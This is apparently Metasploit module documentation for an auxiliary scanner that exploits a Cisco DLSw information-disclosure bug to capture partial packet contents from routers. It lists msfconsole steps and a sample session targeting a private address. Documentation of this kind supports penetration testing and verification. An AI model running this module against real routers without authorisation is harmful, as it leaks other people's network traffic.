Vulnerable Application

This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.

Verification Steps

  1. Start msfconsole
  2. Do: use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
  3. Do: set RHOSTS [ip]
  4. Do: run

Scenarios

IOS version 12.4(8) and Kali Linux 2019.3

msf > use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > set RHOSTS 192.168.0.1
  RHOSTS => 192.168.0.1
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > run
